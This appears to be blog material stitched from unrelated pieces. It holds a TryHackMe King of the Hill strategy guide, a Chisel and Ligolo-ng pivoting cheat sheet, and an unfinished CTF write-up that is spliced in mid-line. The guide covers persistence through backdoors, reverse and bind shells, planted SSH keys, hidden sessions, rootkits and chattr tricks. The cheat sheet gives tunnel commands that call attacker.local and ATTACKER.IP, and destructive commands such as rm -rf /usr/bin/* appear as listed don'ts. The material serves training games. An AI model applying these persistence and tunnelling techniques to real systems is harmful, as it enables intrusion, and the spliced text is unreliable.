(A very, very small summary)

King of the Hill is a competitive hacking game, where you play against 10 other hackers to compromise a machine and then patch its vulnerabilities to stop other players from also gaining access. The longer you maintain your access, the more points you get.

Before we dive into what we can do and how we can fight in the game with other players, we should clear some boundaries on what should not be done in this, otherwise with a root shell, the scope is limitless.

How not to play King of the Hill?

This is a gentleman's game and should be played like one.

First, you should read KoTH rules: https://tryhackme.com/games/koth

Here's a detailed explanation of the rules and boundaries regarding the rules mentioned above:

Service Port 9999:

There is one thing common to every KoTH machine and that is, port 9999, which is running king service, so you are not supposed to stop/alter that service or close the port itself.

Machine Resets:

There is an option available to reset the box and that should only be used when the machine is broken, not when it's patched. When you face a dead end, you should try looking for other possible options instead of voting to reset the box.

Flags:

You should not alter, remove or replace flags from the machine as it's totally against the rules.

Patching:

While patching, you should not completely delete a whole web server, but instead, try looking for a method to patch it. There's no vulnerability that can't be patched. Stuff like shifting the service to another port is allowed.

You should not do things like: rm -rf /usr/bin/* or chmod 700 /usr/bin/* as it will make it impossible for other users to use simple commands or even interact with the box using their shell. As that essentially made the machine unavailable for them.

You should not use autopwns (Or Any sort of script that automatically hack/harden the box) as that really will defy the purpose of the game. Scripted autopwns that root a box from start to finish are banned from public games. Go wild in private games with your friends.

You shouldn't use scripts to automatically kill other people's shells. Killing shells is allowed, but it shouldn't be abused.

• Remember its not a fight if there is no one in the ring.

Try to patch the ways others are getting the shells instead of just spamming kill command.

Speaking of which, you can always use urandom or my personal favorite: Nyancat that would be more fun, too, instead of just killing the shell.

Or, if you want to be more cheeky, try to find a way to make them play Tetris.

Persistence:

• You are allowed to use rootkits. But as implied by the rules, while planting rootkits, make sure you do not break the machine or make it unusable for everyone but you.

If you think anyone breaking any of the above rules or the ones mentioned on the site's rules page, you can report them at koth@tryhackme.com or let koth-staff know in the discord. If possible, share the game link and username of the person breaking the rules.

How to play King of the Hill?

We start this machine like every other box/machine on TryHackMe, we get an IP, and we enumerate it. If you are playing king of the hill, then it is obvious that you are on intermediate level on TryHackMe because this is for players with some experience in solving/hacking boxes, if you are new, we'd advise you to NOT play this and solve some basic boxes first. You can refer to this blog post that is by Bee (TryHackMe Moderator), Link: https://blog.tryhackme.com/free_path/

Now, we get an IP address, and we get a timer, our goal is to get a root shell on this IP address before other players in your game do and the timer ends. Now, we know how to hack, but we need to know how to hack fast. We are not the best at this, but the following are a few things that you can use that will (maybe) speed you up than others.

In place of using nmap, Using Rustscan.

This thing is ridiculously fast, you can speed it up if you give its documentation a read and make a config file that suits your system.

(P.S. This is also made by Bee, and this thing can go as fast as scanning all, 65535 ports in one second.)

Using custom wordlists:

Do you know there are 2 wordlists named big.txt? One in SecLists (If you don't know about this, then minimize this article and google.) and one in dirbuster? But what if you combine them and make one wordlists, with unique-ed out directories in alphabetical order?

The most important of them all, Taking Notes:

You can use (any note-taking app you like) Notion, make folders of machines, log the commands you used to get into machines, these small things will save your time the next time you face the same machine.

Do NOT use msfconsole: (This is my opinion)

The entire aim of this is to learn stuff, but if you are always just searching in msfconsole and using it to get shells, well, that defeats the purpose.

Speaking in terms of speed, It'll take you longer to find the same vulnerability in Metasploit and run it than it will take you to directly run the exploit file that you saved from the last time you faced the same machine. (Makes sense now? Yeah.)

Know your tools:

Simple tips for tools that might speed you up:

Hydra: Use -t to increase the number of threads, hence increasing your chances to get password before others do. The highest stable that we know of is 64; however, this can vary by service.

Gobuster: This is for game purposes only, use -t with high values, We have used -t 100 and it worked just fine. Just don't do that against a real machine, that will really hammer the server.

Rustscan: Already mentioned above. Read about it and make a config file that suits your system.

Kali Browser Machine: If you are looking for even faster speed, you can use THM kali browser machine for your scans as it would be multiple times faster. This eliminates any overhead from using the VPN connection.

Pwncat: (Using GOD of reverse shells)

(From its GitHub page)

pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown from there. It streamlines common red team operations while staging code from your attacker machine, not the target.

Though, we suggest using Pwncat, but only for reverse shell handling and doing quick persistence etc. As of now, other features of this tool are, auto-enumeration and backdoor planting. (Read more on their GitHub.)

Owning king.txt file:

chattr:

If you give the manual page of chattr binary a read, you'll see that it can set immutable flags on files. That means, even root cannot make mutations in the file without removing that immutable bit.

chattr +i /root/king.txt

This is used by many players to make that king file immutable and hence persisting their name in that file.

To get the upper hand in game, use another bit, 'append-able' on king.txt. This bit makes the file append-able only, and since most of the players 'write' in the file and not append; hence they can't modify the file even though they removed the immutable bit.

(How to add that bit? Research. man chattr)

Now, almost always, whoever uses the chattr binary first, either deletes it (foolish move) or hides it somewhere.

Once that's done, you don't have much choice but to either upload your binary or hope that no one deleted busy box from the machine. (what's busy box? GOOGLE!)

Make sure you upload statically linked binaries. (reason? GOOGLE!)

Here's the link to download static binaries to upload: https://busybox.net/downloads/binaries/1.31.0-i686-uclibc/

Just upload them onto the box using wget, curl, nc or any other method. We would suggest not using the default location for your binaries but hiding them in different places.

Now it's on you how you use it, try finding a way to run it in a loop?

clobber? :

Now, this is a tricky bit, here, you can set the environment variable setting of root user to prevent overwriting in the files.

Hence, the word clobber, This means that the user cannot add anything to any file using > operator.

Although this doesn't stop many players, this is hard to figure out and chances are they won't realize what's wrong if they don't know about this.

The basic command is set -o noclobber

But this will only be effective in current shell, so to make it persistent across the entire machine, add this to bashrc of root and source that.

Persistence:

Backdoors/Bind Shells:

As soon as you get the root shell on machine, add some reverse shells and/or bind shells in the machine, so that even if you get kicked out, which you will, you can always get back in.

(Make your own in whichever language you like, or you know, google.)

Make copies of SUID binaries, even though they are easy to find, but can sometimes save get you a root shell from www-data.

SSH AuthKey:

You can always put your ssh keys on to the user/root authorized_keys. So you can always ssh in using them.

You can use ssh -t to hide your session from tty.

Defending:

First things first, if they can't get in, you don't need to kick them out.

So, start by patching stuff on the box. Patch security issues, not legitimate services. For example, disabling ssh is not allowed unless it's a purposefully broken ssh installation.

Patch the path you get in from right after you make a backdoor.

You can use different commands like w, who, ps aux | grep pts to see who else is on the system so far.

Look for the most common possible ways to patch a box i.e: changing ssh keys, changing passwords, look for the processes running or give cronjobs a look?

Always set your persistence so even if someone kicks you out, you have ways to get back in.

A few links that can come in handy:

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

https://gtfobins.github.io/

https://gchq.github.io/CyberChef/

Chisel:
Situation: Reverse Pivot

When you want to check/ping some port on target machine's internal network:

# Your machine attacker.local
chisel server -p 8000 -reverse
# Client client.target, internal.target:port
chisel client attacker.local:8000 R:8001:internal.target:port
# ^ this will open a port 8001 on attacker.local and
# that will be basically copy of internal.target:port in layman terms

Situation: Local Pivot

When we want target machine to send any incoming traffic on one of it's newly opened ports to one of our ports. This can be used to tunnel a reverse shell from: somewhere inside the target network --> original target --> tunnel --> our attacker machine.

# Your machine attacker.local
chisel server -p 8000
# Client client.target
chisel client attacker.local:8000 9001:127.0.0.1:8001
 #                                               ^^^^ New port to be opened in attacker
 #                                     ^^^^^^^^^ localhost of client.target
 #                                ^^^^ New port to be opened on client.target

Can also be used to access specific service on either side of the network by replacing the values as shown in the picture above.

Situation: Reverse SOCKS

This is when you want to scale everything we did above, so you don't have to create a new tunnel every time you want to test another port. For example, if you were to check port 8080, and created a simple tunnel from the above methods, and now want to check port 80, you'll have to go back and create a new tunnel. This method nests chisel in chisel makes a client and server on both sides, over SOCKS proxy.
We then use proxychains to use connect to the tunnel and use whatever tool we want.

# On machine attacker.local
chisel server -p 8000 -reverse

# On client.target
chisel client attacker.local:8000 R:8001:127.0.0.1:1337
#                                                  ^^^^ Port on target that will connect to nested chisel 
#                                         ^^^^^^^^^ Localhost of client.target 
#                                    ^^^^ New port that you will use on attacker
chisel server -p 1337 --socks5
#                ^^^^ the same port that we opened in client command

# On machine attacker.local
chisel client 127.0.0.1:8001 socks
#             ^^^^^^^^^^^^^^ Standard listener to connect via socks to clisel server on target

Ligolo-ng

This is basically reverse SOCKS proxy, but 10 times better.

# Prepping attacker machine for ligolo:
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 172.16.2.0/24 dev ligolo
#                  ^^^^^^^^^^^^ subnet that you need to tunnel to yours.

# On Attacker machine:
sudo ./proxy -selfcert
# Note the port from the output of the above command - default  11601

# On Victim machine:
# Upload agent.exe to target
./agent.exe -connect ATTACKER.IP:<PORT FROM PROXY COMMAND> -ignore-cert

# Back on attacker machine, a session will open up, just select that session and type start.

All of these are heavily inspired by the video Ippsec made and released years ago, on HTB box called Reddish. You can find it here.

Link - Here Here's the list of challenges I faced and was able to solve, 38/40.

List of challenges:

The challenges had no names and only numbers, so I'll be using numbers [1-40] to refer to them.
I’ve used Kali Linux standard VM to solve these challenges. As this was a linux based CTF, connecting to ssh over linux is more breeze-y then windows. (duh PuTTY!)

Challenge 1:

The challenge description had 2 parts:

• IP: PORT format of server information
• Username and password to connect to it.

We simply connect to the server with
ssh chall1@3.110.44.235 -p 2221

For the first challenge, I am going to explain in detail on how to connect to ssh and what is everything, after this, we’ll be going more comprised.

This was fairly simple, the file was hidden file. ls -a showed it up.

Challenge 2

Next challenge was interesting, you had to login similarly, but you can’t see any file with content in it. There about 10-20 files with names p4nth3r[a-z], but all of them empty. But if we look closely, ls -la we can see that there is a file called - a hyphen, that is a special character. So we need to do character escaping to solve this. But I just lazed out and did it with python. As shown in screenshot.

Challenge 3:

This challenge probably required a specific method to solve, but again, I found 2 methods that gave me flag without needed to research anything. One was simply grep -r WHL as this is constant in flag, -r will keep grep recursive.

Challenge 4:

Being a fan of Daedalus and Labyrinth, this challenge as special. Again, there may have been some offical method to do this, but I just found 2 ways to solve it.

1. By using grep -r.

2. By using find.

   

And that’s how I found this flag.

Challenge 5:

From here onwards, I’ll be going even more comprised for solutions. In this home directory of chall5, we only had one folder and that had a ton of chunky files.
But doing a ls -Sla lists the files sorted according to file size, and we can see a different file with 26 file size. We read that, and boom, flag.

Again, this challenge was also solvable using grep -r WHL.

Challenge 6:

This challenge was about a binary file in home folder, you had to execute it to get the flag, but we are not allowed to change the permissions of the file in home directory, so I made a copy of original to /tmp/hell-holmes and then changed it’s permissions, and moreover, it ran and gave the flag.

Challenge 7:

This challenge was about unzipping a file present in ~/chall/data , upon checking the file for headers using file it showed it’s a zip file. but if you cat/read it normally, you can see the flag.

One more method that I tried was, copying the file over to your machine, like I did screenshot.

Challenge 8:

-- I am just super lazy and will add the remaining solutions here in next 12 hrs or so.